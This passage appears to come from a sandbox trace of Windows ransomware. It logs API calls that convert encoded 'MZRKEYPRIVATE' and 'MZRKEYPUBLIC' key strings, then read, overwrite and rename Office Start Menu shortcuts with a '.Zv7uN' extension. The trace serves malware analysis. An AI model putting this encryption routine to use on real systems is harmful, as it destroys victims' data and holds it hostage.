DlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f2b28c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0134.137] GetCurrentThreadId () returned 0xa30 [0134.137] GetCurrentThreadId () returned 0xa30 [0134.137] GetCurrentThreadId () returned 0xa30 [0134.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0134.138] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f3c2ec, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0134.138] GetCurrentThreadId () returned 0xa30 [0134.138] GetCurrentThreadId () returned 0xa30 [0134.138] GetCurrentThreadId () returned 0xa30 [0134.138] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office Picture Manager.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office picture manager.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0134.138] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0134.138] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0134.138] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0xb3b [0134.139] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0134.139] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f440f0, nNumberOfBytesToRead=0xb3b, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f440f0*, lpNumberOfBytesRead=0x18f108*=0xb3b, lpOverlapped=0x0) returned 1 [0134.142] CloseHandle (hObject=0x1dc) returned 1 [0134.142] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office Picture Manager.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office picture manager.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0134.144] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f46120*, nNumberOfBytesToWrite=0xb3b, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f46120*, lpNumberOfBytesWritten=0x18f114*=0xb3b, lpOverlapped=0x0) returned 1 [0134.146] CloseHandle (hObject=0x1dc) returned 1 [0134.146] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office Picture Manager.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office picture manager.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office Picture Manager.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office picture manager.lnk.zv7un")) returned 1 [0134.148] GetCurrentThreadId () returned 0xa30 [0134.148] GetCurrentThreadId () returned 0xa30 [0134.148] GetCurrentThreadId () returned 0xa30 [0134.148] GetCurrentThreadId () returned 0xa30 [0134.148] GetCurrentThreadId () returned 0xa30 [0134.148] GetCurrentThreadId () returned 0xa30 [0134.148] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11c60a0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xbb7, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Project Server 2010 Accounts.lnk", cAlternateFileName="MIBC23~1.LNK")) returned 1 [0134.148] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0134.148] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0134.148] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Project Server 2010 Accounts.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft project server 2010 accounts.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11c60a0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xbb7)) returned 1 [0134.149] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Project Server 2010 Accounts.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft project server 2010 accounts.lnk")) returned 0x20 [0134.149] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Project Server 2010 Accounts.lnk", dwFileAttributes=0x80) returned 1 [0134.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0134.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f2b18c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw